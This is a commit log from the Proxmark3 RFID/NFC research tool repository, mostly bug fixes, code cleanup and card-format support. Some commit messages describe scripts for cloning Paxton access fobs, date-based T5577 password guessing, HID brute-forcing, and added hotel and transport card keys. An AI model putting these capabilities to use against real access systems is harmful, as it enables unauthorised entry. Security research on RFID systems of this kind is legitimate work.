323a4284ff modified weigand formats to include number of bits 2025-02-22 18:28:38 +01:00
iceman1001
a7643eef7c style 2025-02-22 18:01:07 +01:00
Iceman
4bf000c0a5
Merge pull request #2764 from tiagotriques/master
Remove duplicated block print in verbose mode in hf mf view
2025-02-22 16:20:55 +01:00
Tiago Esperança Triques
2d930f921a Remove duplicated block print in verbose mode in hf mf view 2025-02-22 10:53:18 -03:00
iceman1001
717ceecf1f denote MAD sectors as decimal since public documentation 2025-02-21 17:08:44 +01:00
iceman1001
1cf98096e6 style 2025-02-21 16:41:05 +01:00
iceman1001
72a9f0a0a8 code style 2025-02-21 16:33:40 +01:00
iceman1001
4422101243 fix #2547 - compilation warning error: dereferencing type-punned pointer will break strict-aliasing rules [-Werror=strict-aliasing] 2025-02-21 16:33:22 +01:00
iceman1001
145b3ac8d6 rename paxton scripts and some code styling 2025-02-21 15:43:28 +01:00
iceman1001
cef07dedf6 code style, code clean up of redundant functions, comments, its many minor fixes across the platform. Sorry for not making 20 commits 2025-02-21 15:38:33 +01:00
Iceman
6bb7199a7b
Merge pull request #2762 from Donny-Guo/lfhidsim
Fix incorrect encoding for HID with long format on sim and clone
2025-02-21 07:26:18 +01:00
Donny
7923d07ed0 Add hid preamble handle function for standalone 2025-02-20 21:49:15 -08:00
Donny
c36b352c2f Fix incorrect encoding for HID with long format on sim and clone 2025-02-20 21:49:15 -08:00
Iceman
f1c402d26e
Merge pull request #2748 from n-hutton/deterministic_bitfile_builds2
force bitfiles to be identical for same source code
2025-02-20 23:46:48 +01:00
n-hutton
982bef6705 fix build failure on linux machines with fwd decl 2025-02-20 15:55:43 +00:00
n-hutton
280b3301ee PR feedback and make things work generally 2025-02-20 14:51:08 +00:00
n-hutton
46506f04ae Merge branch 'deterministic_bitfile_builds2' of github.com:n-hutton/proxmark3 into deterministic_bitfile_builds2 2025-02-20 14:40:43 +00:00
n-hutton
e3b2bc9839 strip date time files 2025-02-20 14:39:31 +00:00
Philippe Teuwen
4e5d68851b Add pm3_resources helpers for Python scripts to find tools & dicts 2025-02-20 15:07:45 +01:00
iceman1001
ffbf033937 fix #2547 - compilation error on arm-none-eabi-gcc 15.6 for error: dereferencing type-punned pointer will break strict-aliasing rules, by making a u32 we dont get that any longer 2025-02-20 13:16:19 +01:00
Iceman
280f340041
Merge pull request #2761 from jmichelp/master
Add support for proprietary 46bit wiegand H800002 format
2025-02-20 11:27:53 +01:00
Jean-Michel Picod
e836e4bda3 Simplify code and parity 2025-02-20 09:38:32 +01:00
Iceman
4d9f443cc0
Merge pull request #2760 from ry4000/master
Added YWG peggo card to `aid_desfire.json`
2025-02-19 22:53:07 +01:00
Jean-Michel Picod
c505f57b3b Add support for proprietary 46bit wiegand H800002 format 2025-02-19 12:13:17 +01:00
ry4000
35a67cf261
Added YWG peggo card to aid_desfire.json
# Additions
- **Added** YWG peggo card to `F21201`.

Signed-off-by: ry4000 <154689120+ry4000@users.noreply.github.com>
2025-02-19 16:16:20 +11:00
iceman1001
776eac5e5a revert 2025-02-18 19:49:11 +01:00
iceman1001
7a730ec57b text layout 2025-02-18 19:48:55 +01:00
iceman1001
1a91d42b7d style 2025-02-18 19:48:34 +01:00
iceman1001
4c6e74c3ce revert 2025-02-18 19:47:51 +01:00
iceman1001
f2fe3768b8 should be unsigned varibles 2025-02-18 18:48:49 +01:00
iceman1001
f5650a53af text and style 2025-02-18 18:48:33 +01:00
iceman1001
2f56bdcf10 text and style 2025-02-18 18:44:24 +01:00
iceman1001
af6fdd09e2 make sure variable are set before being used 2025-02-18 18:43:10 +01:00
iceman1001
e5293f1389 style 2025-02-18 18:42:21 +01:00
iceman1001
d99ec776c8 style 2025-02-18 18:41:09 +01:00
iceman1001
50b9067173 style 2025-02-18 18:38:16 +01:00
iceman1001
72122f090f less verbose device side printing 2025-02-18 18:37:31 +01:00
Iceman
32564cfbfa
Merge pull request #2759 from n-hutton/readme_help_macos
add helpful note for macos users failing linking
2025-02-18 18:14:34 +01:00
n-hutton
7c37231b2c add helpful note for macos users 2025-02-18 16:09:16 +00:00
n-hutton
3e9de01303 PR feedback 2025-02-18 15:49:33 +00:00
iceman1001
4d4ab58c63 text 2025-02-17 21:26:53 +01:00
iceman1001
778ede25e7 renamed lua scripts. minor adaptations 2025-02-17 21:24:09 +01:00
Iceman
d5e6464660
Merge pull request #2758 from kormax/desfire-recognize-javacard-applet-type
Fixes to DESFire product type recognition
2025-02-17 19:07:24 +01:00
Iceman
549e19acba
Merge pull request #2757 from kormax/new-desfire-aid-entries
Add new AID entries to `aid_desfire.json`
2025-02-17 19:05:39 +01:00
kormax
23dda08962 Fixes to DESFire product type recognition 2025-02-17 19:52:07 +02:00
kormax
831a05b193 Add new AID entries to aid_desfire.json 2025-02-17 19:41:03 +02:00
Iceman
4e4b072cfb
Merge pull request #2751 from Donny-Guo/lfhidwatch
Fix Incorrect Wiegand Format Displayed
2025-02-17 05:58:10 +01:00
Iceman
0d7352ffb7
Merge pull request #2744 from jareckib/master
t55_chk
2025-02-17 05:56:05 +01:00
Iceman
585f23ddee
Merge pull request #2752 from leommxj/master
update cmdhfemrtd.c to support JPEG2000 code stream photo
2025-02-17 05:53:48 +01:00
Jarek Barwinski
70ca100e29
t55_fix
This simple script first checks if a password has been set for the T5577. 
  It uses the dictionary t55xx_default_pwds.dic for this purpose. If a password 
  is found, it uses the wipe command to erase the T5577. Then the reanimation 
  procedure is applied. If the password is not found or doesn't exist the script 
  only performs the reanimation procedure. The script revives 99% of blocked tags.

Signed-off-by: Jarek Barwinski <116510448+jareckib@users.noreply.github.com>
2025-02-16 19:44:15 +00:00
Iceman
f7a8703c6d
Merge pull request #2754 from Eltrick/proper-uid-print
Switch around some logic in ul_auth_select to make the client print t…
2025-02-16 14:07:39 +01:00
Iceman
f304ca6cb7
Merge pull request #2753 from ry4000/master
R&Y: Updates to `aid_desfire.json` and `mfc_default_keys.dic`
2025-02-16 14:04:47 +01:00
Donny
3f794818f0 fix incorrect HID bitlen calculations and wiegand format display 2025-02-15 21:56:19 -08:00
Lucifer Voeltner
f6b5281a5c
Switch around some logic in ul_auth_select to make the client print the UID properly in fully read-protected cards when 'hf mfu info' is called with a key 2025-02-16 11:45:34 +07:00
ry4000
07122e78a6
R&Y: Added Super Street Fighter NESYS Keys to mfc_default_keys.dic
**Additions**
- Super Street Fighter 4 NESYS Keys

**Amendments**
- Added `TEKKEN 6 Namco Data Card` to the BNP list *since they share the same keys*

Signed-off-by: ry4000 <154689120+ry4000@users.noreply.github.com>
2025-02-15 13:46:46 +11:00
ry4000
1a4256e819
R&Y: AID Updates to aid_desfire.json
**Additions**
- F484D1 (HID: Unknown DESFire EV1)

**Amendments**
- Umo Mobility (Now listed as US/CA)
- NORTIC (Updated Names)

**Deletions**
- Duplicate DEL Delhi Metro Travel Card (App 5)

Signed-off-by: ry4000 <154689120+ry4000@users.noreply.github.com>
2025-02-15 12:38:46 +11:00
leommxj
bc7d1200ba update cmdhfemrtd.c to support JPEG2000 code stream photo 2025-02-14 23:06:03 +08:00
Philippe Teuwen
430ef1f273 4A sim: add malloc checks and fix buf size macro 2025-02-12 22:02:21 +01:00
Philippe Teuwen
0ce8ef130b Fix clang error label followed by a declaration is a C23 extension 2025-02-12 16:39:00 +01:00
Philippe Teuwen
4e5a8b9848 4A emulation: warn if chaining command received 2025-02-12 15:46:12 +01:00
Philippe Teuwen
2efa4909f6 show FSD in RATS trace 2025-02-12 09:17:32 +01:00
Philippe Teuwen
fcd6de8b7b 4A emulation: avoid overflow and don't rely on TL 2025-02-12 09:13:18 +01:00
Philippe Teuwen
1acc030fd4 rework simaid & rename few vars 2025-02-12 08:44:42 +01:00
iceman1001
0560d74b01 Modified makefile.platform.sample in order to make it more clear and simpler when configuring the compilation to generate correct arm image for their specific hardware. We have RDV4, PM3GENERIC (which most Pm3 Easy, Rdv1, Rdv2 etc) ICOPYX, PM3 Max 2025-02-09 21:28:43 +01:00
n-hutton
bb4e14bb4c remove comment before PR open 2025-02-07 16:36:01 +00:00
n-hutton
6465f247ea force bitfiles to be identical for same source code 2025-02-07 16:27:08 +00:00
Iceman
2de52138bc
Merge pull request #2747 from Eltrick/stylise-dormakaba
Stylise 'Dorma Kaba' -> 'dormakaba' and 'SAFLOK' -> 'Saflok'
2025-02-07 15:54:39 +01:00
Lucifer Voeltner
d2c198a2ec
Stylise 'Dorma Kaba' -> 'dormakaba' and 'SAFLOK' -> 'Saflok' 2025-02-07 20:48:12 +07:00
Philippe Teuwen
f8abfc0731 hf 14a simaid: ignore premature HALT until RATS is reached 2025-02-05 23:31:11 +01:00
Philippe Teuwen
9933034566 hf 14a simaid: support reader requests without CID 2025-02-05 23:31:11 +01:00
Philippe Teuwen
24f474feaa hf 14a sim/simaid: Fix emulated RATS for -t 11 2025-02-05 23:31:11 +01:00
Jarek Barwinski
5a2f2e51ea
t55_chk
corrected options -y or -d

Signed-off-by: Jarek Barwinski <116510448+jareckib@users.noreply.github.com>
2025-02-04 10:11:41 +00:00
Iceman
1f07e818e3
Merge pull request #2743 from Donny-Guo/lfhidbrute
Update range checkings in all pack functions for LF HID
2025-02-04 06:29:14 +01:00
Donny
ebd85fbc78 Update range checkings in all pack functions for LF HID 2025-02-03 16:34:58 -08:00
Iceman
0d054c6319
Merge pull request #2742 from team-orangeBlue/mf4
Document MF4 tags
2025-02-03 20:57:42 +01:00
team-orangeBlue
27140128b3
Update CHANGELOG.md
Signed-off-by: team-orangeBlue <63470411+team-orangeBlue@users.noreply.github.com>
2025-02-03 22:39:54 +03:00
team-orangeBlue
88b30a778a
Merge branch 'RfidResearchGroup:master' into mf4 2025-02-03 22:38:45 +03:00
team-orangeBlue
be6dc2538c
Finish MF4 documentation
Sufficient for configuration of an MF4 tag A-Z as needed.

I hope you figure it out!

Signed-off-by: team-orangeBlue <63470411+team-orangeBlue@users.noreply.github.com>
2025-02-03 22:38:20 +03:00
Philippe Teuwen
53a1d5be01 better fix, thanks @iceman 2025-02-03 16:14:28 +01:00
Iceman
f863a5e29f
Merge pull request #2741 from Donny-Guo/hidbrute
Fix facility code and card number checking in LF HID Brute
2025-02-03 12:38:42 +01:00
Donny
f0830ce6b0 Remove new struct and recover missing code section 2025-02-03 01:58:08 -08:00
Philippe Teuwen
272286f565 Fix Opensuse-leap docker: use ARM GCC14 2025-02-03 10:11:34 +01:00
Philippe Teuwen
80942c8bad Fix ARM GCC14 warning
error: '%02X' directive output may be truncated writing between 2 and 4 bytes into a region of size 3 [-Werror=format-truncation=]
2025-02-03 10:11:34 +01:00
Donny
1ae4cf37d8 Fix facility code and card number checking in LF HID Brute 2025-02-02 23:42:19 -08:00
Iceman
525ce562e2
Merge pull request #2740 from gentilkiwi/patch-1
Update intertic.py to support new ContractProvider for Strasbourg/CTS
2025-02-02 23:04:45 +01:00
Benjamin DELPY
766d30ecfa
Update intertic.py to support new ContractProvider for Strasbourg/CTS
Signed-off-by: Benjamin DELPY <benjamin@gentilkiwi.com>
2025-02-02 22:57:31 +01:00
Iceman
240b559a8f
Merge pull request #2739 from jareckib/master
t55_chk.lua
2025-02-02 22:15:06 +01:00
Jarek Barwinski
500845b30a
t55_chk.lua
Generated dictionary fixed
february - 28 or 29

Signed-off-by: Jarek Barwinski <116510448+jareckib@users.noreply.github.com>
2025-02-02 20:13:34 +00:00
Iceman
372911f6f3
Merge pull request #2738 from jareckib/master
t55_chk_lua
2025-02-02 21:08:32 +01:00
Jarek Barwinski
82c059adbb
t55_chk_lua
Author: jareckib - created 02.02.2025
    version v1.00

    A simple script for searching the password for T5577. The script creates a
    dictionary starting from the entered starting year to the entered ending year.
    There are two search methods - DDMMYYYY or YYYYMMDD. Checking the entire year
    takes about 1 minute and 50 seconds. Date from 1900 to 2100. The script may be
    useful if the password is, for example, a date of birth.

    Usage:
    script run t55_chk [-s start_year] [-e end_year] [-d | -y]

    Options:
    -h                    Show this help message
    -s                    Starting year (required)
    -e                    Ending year (default: current year)
    -d                    Search method: DDMMYYYY
    -y                    Search method: YYYYMMDD

    Examples:
    script run t55_chk -s 1999 -d             - start from 1999, end year is current year, method 01011999
    script run t55_chk -s 1999 -y             - start from 1999, end year is current year, method 19990101
    script run t55_chk -s 1999 -e 2001 -y     - start from 1999, end year 2001, method 19990101
    script run t55_chk -s 1999 -e 2001 -d     - start from 1999, end year 2001, method 01011999

Signed-off-by: Jarek Barwinski <116510448+jareckib@users.noreply.github.com>
2025-02-02 19:26:42 +00:00
Iceman
31c9b30b1d
Merge pull request #2737 from jareckib/master
Update t55_chk_date.lua
2025-02-02 07:11:43 +01:00
Jarek Barwinski
a573fd4631
Update t55_chk_date.lua
Signed-off-by: Jarek Barwinski <116510448+jareckib@users.noreply.github.com>
2025-02-02 02:49:47 +00:00
Iceman
131834d984
Merge pull request #2736 from jareckib/master
Script for searching the password for T5577
2025-02-01 08:20:11 +01:00
Jarek Barwinski
ecf5b0d7eb
Add files via upload
A simple script for searching the password for T5577. The script creates a
    dictionary starting from the entered starting year to the entered ending year.
    There are two search methods - DDMMYYYY or YYYYMMDD. Checking the entire year
    takes about 1 minutes and 50 seconds. Date from 1900 to 2100. The script may be
    useful if the password is for example date of birth.

Signed-off-by: Jarek Barwinski <116510448+jareckib@users.noreply.github.com>
2025-02-01 04:28:49 +00:00
team-orangeBlue
eb210c14d3
Initial MF4 support
Explained MF4 "thinking logic".

Also commented on MF3.

Signed-off-by: team-orangeBlue <63470411+team-orangeBlue@users.noreply.github.com>
2025-02-01 00:25:21 +03:00
Iceman
c1bc38b39a
Update Troubleshooting.md
Signed-off-by: Iceman <iceman@iuse.se>
2025-01-31 22:24:45 +01:00
Iceman
f7c578aa42
Merge pull request #2735 from jareckib/master
Paxton clone and convert to EM4102
2025-01-31 18:51:38 +01:00
Jarek Barwinski
24265b0ea7
Update Paxton_clone.lua
Signed-off-by: Jarek Barwinski <116510448+jareckib@users.noreply.github.com>
2025-01-31 17:14:24 +00:00
Jarek Barwinski
8d461f6542
Update Paxton_switch.py
Signed-off-by: Jarek Barwinski <116510448+jareckib@users.noreply.github.com>
2025-01-31 15:00:19 +00:00
Jarek Barwinski
b8fb8d763c
Update Paxton_convert.py
Signed-off-by: Jarek Barwinski <116510448+jareckib@users.noreply.github.com>
2025-01-31 14:59:46 +00:00
Jarek Barwinski
aeb75ab43e
Update PAXTON_NET.py
Signed-off-by: Jarek Barwinski <116510448+jareckib@users.noreply.github.com>
2025-01-31 14:59:09 +00:00
Jarek Barwinski
f78ab02498
Update Paxton_switch.py
Signed-off-by: Jarek Barwinski <116510448+jareckib@users.noreply.github.com>
2025-01-31 14:53:08 +00:00
Jarek Barwinski
f1354e5715
Update Paxton_convert.py
Signed-off-by: Jarek Barwinski <116510448+jareckib@users.noreply.github.com>
2025-01-31 14:52:12 +00:00
Jarek Barwinski
e8c1ecf1ba
Update PAXTON_NET.py
Signed-off-by: Jarek Barwinski <116510448+jareckib@users.noreply.github.com>
2025-01-31 14:50:44 +00:00
Jarek Barwinski
989b595119
Add files via upload
Converters Paxton Switch2 and Net2 to EM4102

Signed-off-by: Jarek Barwinski <116510448+jareckib@users.noreply.github.com>
2025-01-31 13:38:04 +00:00
Jarek Barwinski
6e572141a3
Add files via upload
Script for automatic clone Paxton fob or convert to EM4102

Signed-off-by: Jarek Barwinski <116510448+jareckib@users.noreply.github.com>
2025-01-31 13:34:55 +00:00
Jarek Barwinski
ca9f434110
Delete client/luascripts/paxton_clone.lua.txt
Signed-off-by: Jarek Barwinski <116510448+jareckib@users.noreply.github.com>
2025-01-31 13:32:43 +00:00
Jarek Barwinski
4707ac1277
Add files via upload
Script for cloning Paxton fobs

Signed-off-by: Jarek Barwinski <116510448+jareckib@users.noreply.github.com>
2025-01-31 13:28:19 +00:00
Philippe Teuwen
50e920d6bc Add FM11RF08-7B fingerprint, thanks artaud! 2025-01-30 00:18:37 +01:00
Iceman
3ce68d4df9
Merge pull request #2734 from Larision/master
Added spain transport keys
2025-01-28 23:52:39 +01:00
Larision
65272f4cc9 Added spain transport keys 2025-01-28 22:13:07 +01:00
Iceman
d284201844
Merge pull request #2733 from Eltrick/rf08s-nosave-oob-keys
fm11rf08s_recovery.py - Option to not save the sec32 keys to the generated keyfile
2025-01-28 20:36:00 +01:00
Lucifer Voeltner
1026d3db2d
Option to not save the sec32 keys to the generated keyfile 2025-01-29 00:23:16 +07:00
iceman1001
e443003733 style 2025-01-27 23:46:49 +01:00
iceman1001
6624a978d1 fix inline comments in dictionary files. The extrac checks broke the earlier logic, we now look for a hash sign in the current line if found we try to add a null terminator before the hash sign until we find a hexdigit. Apply old logic on the new shorter line. 2025-01-27 23:24:45 +01:00
Iceman
4803f51f3f
Merge pull request #2732 from gentilkiwi/patch-1
Update intertic.py to support Casablanca (Maroc) tramway
2025-01-27 23:13:03 +01:00
Benjamin DELPY
4456870460
Update intertic.py to support Casablanca (Maroc) tramway
Signed-off-by: Benjamin DELPY <benjamin@gentilkiwi.com>
2025-01-27 22:46:32 +01:00
iceman1001
9c9b2b2ad0 fix length check when reading a dictionary file 2025-01-27 22:09:34 +01:00
iceman1001
5b1fadb7c6 break if only checking passwords 2025-01-27 22:08:49 +01:00
iceman1001
903489f7e5 different key slots 2025-01-27 22:08:17 +01:00
Iceman
50b66a6fe5
Merge pull request #2731 from jkramarz/feature/sam_picopass
support for HID SAM communication with Picopass cards
2025-01-27 22:01:16 +01:00
Jakub Kramarz
550af14502 cmdhficlass, cmdhfseos: fixed data argument parsing 2025-01-27 20:57:24 +01:00
Jakub Kramarz
97aa1ff598 cmdhficlass: expand sam examples 2025-01-27 20:38:15 +01:00
Jakub Kramarz
098e3765c0 cmdhfseos: fixed typo 2025-01-27 20:34:52 +01:00
Jakub Kramarz
e05c36d4ea cmdhfseos: change from SendCommandMix to SendCommandNG 2025-01-27 20:23:23 +01:00
Jakub Kramarz
2464cf60fd sam_seos, sam_picopass: switch from static allocation to BigBuf 2025-01-27 20:17:44 +01:00
Jakub Kramarz
15aea059ef cmdhficlass: change from SendCommandMix to SendCommandNG 2025-01-27 20:17:44 +01:00
Jakub Kramarz
5750d47ba3 rename util_hidsio to hidsio 2025-01-27 20:17:44 +01:00
Jakub Kramarz
e3e9ca504e cmdhfseos less verbose args parsing 2025-01-27 20:17:44 +01:00
Jakub Kramarz
7b34f462cd sam_picopass: add nr-mac extraction and epurse update prevention modes 2025-01-27 20:17:44 +01:00
Jakub Kramarz
53b67d1969 sam_picopass: shorter timeouts 2025-01-27 20:17:43 +01:00
Jakub Kramarz
9696c97639 sam_picopass: adapt implementation from sam_seos 2025-01-27 20:17:43 +01:00
Jakub Kramarz
f3b831ca3e sam_seos: rename sam_set_card_detected 2025-01-27 20:17:43 +01:00
Jakub Kramarz
2ae2388cef util_hdsio: extract getSioMediaTypeInfo 2025-01-27 20:17:43 +01:00
Jakub Kramarz
b8d5daa77b sam_common: extract payload copy procedures 2025-01-26 14:36:44 +01:00
Iceman
d5004fc9ff
Merge pull request #2730 from Eltrick/more-mfc-keys
Add more keys from that one hotel in June2024
2025-01-26 13:34:38 +01:00
Lucifer Voeltner
ed6a7c734e
Add more keys from that one hotel in June2024 2025-01-26 15:34:24 +07:00
Iceman
75eb897594
Merge pull request #2729 from aoxhwjfoavdlhsvfpzha/patch-1
Update cmdlfhitag.c
2025-01-25 12:22:50 +01:00
aoxhwjfoavdlhsvfpzha
80558f26e7
Update cmdlfhitag.c
lf hitag chk helptext had a misplaced newline

Signed-off-by: aoxhwjfoavdlhsvfpzha <58840974+aoxhwjfoavdlhsvfpzha@users.noreply.github.com>
2025-01-25 03:06:11 -08:00
Iceman
ecea5db50b
Merge pull request #2728 from shuffle2/master
fix bigbuf allocators (tracing + malloc) overwriting each other
2025-01-25 01:11:49 +01:00
Shawn Hoffman
aa286b4a16 fix bigbuf allocators (tracing + malloc) overwriting each other
* BigBuf.c: use s_ prefix for statics
* BigBuf_Clear_ext already calls clear_trace, so remove extra calls
* add some sanity checking of allocator args
* dont compare PDC_RNCR to false
2025-01-24 15:56:45 -08:00
Iceman
dc5d456db5
Merge pull request #2726 from n-hutton/emv_sim_cleanup_squash
Cleanup PR to emv contactless to contact bridge
2025-01-22 15:53:25 +01:00
n-hutton
8dbe1c7b06 more 2025-01-21 23:52:33 +00:00
n-hutton
acb7de9d8d more cleanup noticed just now 2025-01-21 23:51:26 +00:00
n-hutton
3eb0238481 appears to work - using normal mifare sim init
working demo

works

seems to work so far

more cleanup and works

working copy

working, clean one more pass

cleanup continues

back in buisness babyyy

final cleanup before PR I hope
2025-01-21 23:39:25 +00:00
Philippe Teuwen
32f06db2e8 fix workflow yaml 2025-01-18 18:24:33 +01:00
Iceman
2f2f3d9a6d
Merge pull request #2723 from ry4000/master
R&Y: Added Payment/Transport AIDs and Updated AIDs in `aid_desfire.json`
2025-01-18 05:25:29 +01:00
ry4000
4ef545487d
R&Y: Added PT / PS AIDs and Updated PT AIDs
Signed-off-by: ry4000 <154689120+ry4000@users.noreply.github.com>
2025-01-18 11:45:22 +11:00
Philippe Teuwen
9c05f2c729 hf mfu info: fix strong mod bit parsing
"2" was probably referring to bit 2 == 0x04
I checked the following datasheets and STRG_MOD_EN is always at 0x04:
- UL EV1
- NTAG 213/215/216
- NTAG 213_F/216_F
2025-01-16 22:44:01 +01:00
Iceman
22c7ac0c49
Merge pull request #2722 from kitsunehunter/iceman-typo
fix typo
2025-01-15 23:42:58 +01:00
Iceman
b467eb5c59
Merge pull request #2721 from henrygab/codeQL_fixes2
Fix printf() mismatch
2025-01-15 23:42:40 +01:00
Xavier
f72436a5f9
fix typo
Signed-off-by: Xavier <90627943+kitsunehunter@users.noreply.github.com>
2025-01-15 16:20:12 -05:00
Henry Gabryjelski
740cfad457 Fix printf() mismatch 2025-01-15 13:11:41 -08:00
Iceman
7082302a02
Merge pull request #2720 from henrygab/codeQL_fixes2
CodeQL -- Actual fixes
2025-01-15 19:02:17 +01:00
Henry Gabryjelski
1e95dadde9 Remove static assertions 2025-01-15 09:25:21 -08:00
Henry Gabryjelski
715e876c62 Per explicit request of iceman1001 2025-01-15 09:22:18 -08:00
Henry Gabryjelski
dc0e6f4f91 Fix regression
Found by iceman1001's code review ... THANK YOU!
2025-01-15 09:18:39 -08:00
iceman1001
cb7109e751 fix hf mf cload - now it allows for proper GDM ic to load mfc ev1 signature data. On uscuid ic which are more locked down it will failed with a message. Dont forget to enable signature for the gdm ic. 2025-01-15 16:07:13 +01:00
Henry Gabryjelski
6613ff7334 Workaround old GCC on Windows builds
This is supported for GCC >= version 13

See GCC bug 85487:
https://gcc.gnu.org/bugzilla/show_bug.cgi?id=85487
2025-01-14 20:35:45 -08:00
Henry Gabryjelski
99e8de3687 fix build break on some compilers 2025-01-14 18:01:09 -08:00
Henry Gabryjelski
05319463fb improve comment 2025-01-14 18:01:09 -08:00
Henry Gabryjelski
1c3f84503a Quiet a spurious warning
The compiler warning is incorrect.
Since `calloc()` zero's memory, can
remove redundant line setting value
to zero, giving quieter builds.
2025-01-14 18:01:09 -08:00
Henry Gabryjelski
18f6604eb0 Prevent potential stack corruption 2025-01-14 18:01:09 -08:00
Henry Gabryjelski
1c75690b1a Various codeQL fixes
Code was previously performing arithmetic in
various loop check conditions.  Integer promotion rules could cause unintended comparisons.

`spiffs` defined `fs->block_count` as `uint32_t`, but defined `spiffs_page_ix` as `uint16_t`.  Various overflow checks detected by CodeQL and fixed by checking for those conditions before looping.
2025-01-14 18:01:09 -08:00
Henry Gabryjelski
91be146ecb CodeQL fixes for "Comparison between A of type TypeA and B of wider type TypeB" 2025-01-14 17:54:58 -08:00
Henry Gabryjelski
20c4756f2a no-op 2025-01-14 17:52:51 -08:00
Henry Gabryjelski
4d67f56656 Mismatched format string specifier (need to deref size pointer) 2025-01-14 17:52:51 -08:00
iceman1001
f0bdcf3838 viewing a MFC ev1 now prints the two special sectors 2025-01-15 00:01:44 +01:00
iceman1001
16a776e79f fix hf mf view to load MFC ev1 sized dumps 2025-01-14 23:22:55 +01:00
iceman1001
16c3433bfe fix hf mf mad to read mfc ev1 dumps 2025-01-14 23:20:18 +01:00
Philippe Teuwen
70389e55b1 quick fix for nfc decode to handle ev1 dumps, untested 2025-01-14 23:17:11 +01:00
iceman1001
f13c0740ec Merge branch 'master' of github.com:RfidResearchGroup/proxmark3 2025-01-14 23:01:39 +01:00
iceman1001
e59385a44b added -1k+ param to allow for gdm and the extra sectors dump to be loaded 2025-01-14 23:01:17 +01:00
Philippe Teuwen
cd2f9ced83 pm3_load_dump: honor maxdumplen, this fixes hf mf cload on EV1 dump 2025-01-14 22:58:21 +01:00
iceman1001
00f9403537 guard the smarttonfc command 2025-01-14 21:48:26 +01:00
iceman1001
fc06cafc2f moving emvsim.c since it needs smartcard functions 2025-01-14 21:40:14 +01:00
iceman1001
91f816a641 fix codeQL warning #309 2025-01-14 19:26:05 +01:00
iceman1001
c32ef83812 style 2025-01-14 18:20:55 +01:00
iceman1001
560f0f106b add a possible early detection of a unknown 75pF UL Ev1 AES 2025-01-14 18:19:49 +01:00
iceman1001
bff0df5dcf looking if thinfilm sim works better now 2025-01-14 18:19:10 +01:00
iceman1001
1040fa8a86 style 2025-01-14 18:18:07 +01:00
iceman1001
6af2df51bf style 2025-01-14 16:40:22 +01:00
iceman1001
9ecd3dc3ce text 2025-01-14 16:40:01 +01:00
iceman1001
1cc9254f69 fix #2714 hf mfu info now identifies 50 pF UL Ev1 AES properly. Thanks @pc-coholic 2025-01-14 16:39:07 +01:00
Iceman
6367b2dcd9
Merge pull request #2717 from Eltrick/ev1-autopwn-dump
Possible fix for MFC EV1 signature dumping in 'hf mf autopwn'
2025-01-14 16:28:43 +01:00
Iceman
d5e80c1caf
Merge pull request #2652 from n-hutton/cherry_pick_emv
Cherry pick POC of emv simulation
2025-01-14 16:27:16 +01:00
Iceman
76ad5a5b51
Merge branch 'master' into cherry_pick_emv
Signed-off-by: Iceman <iceman@iuse.se>
2025-01-14 16:26:35 +01:00
Iceman
d100dcc847
Merge pull request #2711 from emilyastranova/master
Fix incorrect header length
2025-01-14 16:24:36 +01:00
Iceman
e505365a30
Merge branch 'master' into master
Signed-off-by: Iceman <iceman@iuse.se>
2025-01-14 16:24:23 +01:00
Iceman
87bdc25a30
Merge pull request #2716 from nvx/zuid_detection
Changed `hf mf info` - now differentiates between full USCUID and cut…
2025-01-14 13:45:05 +01:00
Iceman
9b68dc1fec
Merge pull request #2715 from nvx/fix_uscuid_csetuid
fix hf mf csetuid --gdm
2025-01-14 13:44:05 +01:00
nvx
29e0c51393 Changed hf mf info - now differentiates between full USCUID and cut down ZUID chips 2025-01-14 22:36:59 +10:00
nvx
97953d1ef3 fix hf mf csetuid --gdm 2025-01-14 22:00:17 +10:00
Iceman
766a91d865
Merge pull request #2713 from henrygab/codeQL_fixes
Allow manual initiation of CodeQL
2025-01-13 23:27:29 +01:00
Lucifer Voeltner
7fcbeac417
Test fix for MFC EV1 signature dumping in 'hf mf autopwn' 2025-01-13 11:06:24 +07:00
Philippe Teuwen
52b2c73139 trying to fix Proxspace compilation, might need some more trials... 2025-01-12 19:19:00 +01:00
Philippe Teuwen
d481a21e54 Update manufacturer list with 2024 info 2025-01-12 18:50:16 +01:00
Philippe Teuwen
ab96b74110 ref 2025-01-12 18:26:47 +01:00
Philippe Teuwen
c4b24d48b9 Update manufacturer list with 2022 info 2025-01-12 18:09:03 +01:00
iceman1001
65b9348ad9 modified lf hitag chk to show progress, added user side abort, and a minor delay since I noticed proxmark timeouts if running unlimited 2025-01-11 19:18:33 +01:00
Henry Gabryjelski
4c6ccfedc1 See if this avoids changelist warnings when building in a fork 2025-01-10 12:20:17 -08:00
Henry Gabryjelski
7eefd358d3 Allow manual initiation of CodeQL 2025-01-10 12:06:49 -08:00
Philippe Teuwen
7637fa0150 fix offline hf mf ginfo 2025-01-10 09:36:37 +01:00
Philippe Teuwen
d668da08bf Fix 'hf mf ginfo': allow offline parsing and fix parsing when ATS len!=16 2025-01-10 09:21:52 +01:00
Emily Astranova
776b1afe57
Update CHANGELOG.md
Signed-off-by: Emily Astranova <emily@astralabs.dev>
2025-01-09 16:05:22 -05:00
Emily Astranova
ac3c1bbf9f
Fix incorrect header length
Signed-off-by: Emily Astranova <emily@astralabs.dev>
2025-01-09 11:17:14 -05:00
Iceman
6b26afe853
Merge pull request #2709 from ry4000/master
R&Y: Updated DEL Delhi Metro AIDs in `aid_desfire.json`
2025-01-08 23:15:09 +01:00
ry4000
b1b12d0e2c
Merge branch 'RfidResearchGroup:master' into master 2025-01-09 07:43:50 +11:00
ry4000
fe7ba0c7f1
R&Y: Updated DEL Delhi Metro AIDs in aid_desfire.json
**Added**
- DEL Delhi Metro AIDs

**Updated**
- Designated existing DEL Delhi Metro AIDs as `Alternative Endian`

Signed-off-by: ry4000 <154689120+ry4000@users.noreply.github.com>
2025-01-09 07:43:38 +11:00
Iceman
f0e92af96a
Merge pull request #2708 from awesomelyawesomes/master
add some keys from pastebin
2025-01-08 14:54:32 +01:00
g.p
72d170b7b6 add some keys from pastebin 2025-01-07 18:06:46 +03:00
Iceman
a531870717
Merge pull request #2704 from jkramarz/feature/sam_seos
support for HID SAM communication with SEOS cards
2025-01-07 00:41:53 +01:00
Jakub Kramarz
15a37ef9df seos_sam: ran make style 2025-01-07 00:30:49 +01:00
Jakub Kramarz
13e390ad3b added sam_seos to changelog 2025-01-07 00:15:41 +01:00
Jakub Kramarz
dd30781608 extract PACS-parsing routines to wiegand_formats.c 2025-01-07 00:15:41 +01:00
Jakub Kramarz
508b63fd2e sam_seos: switch to samCommandGetContentElement2
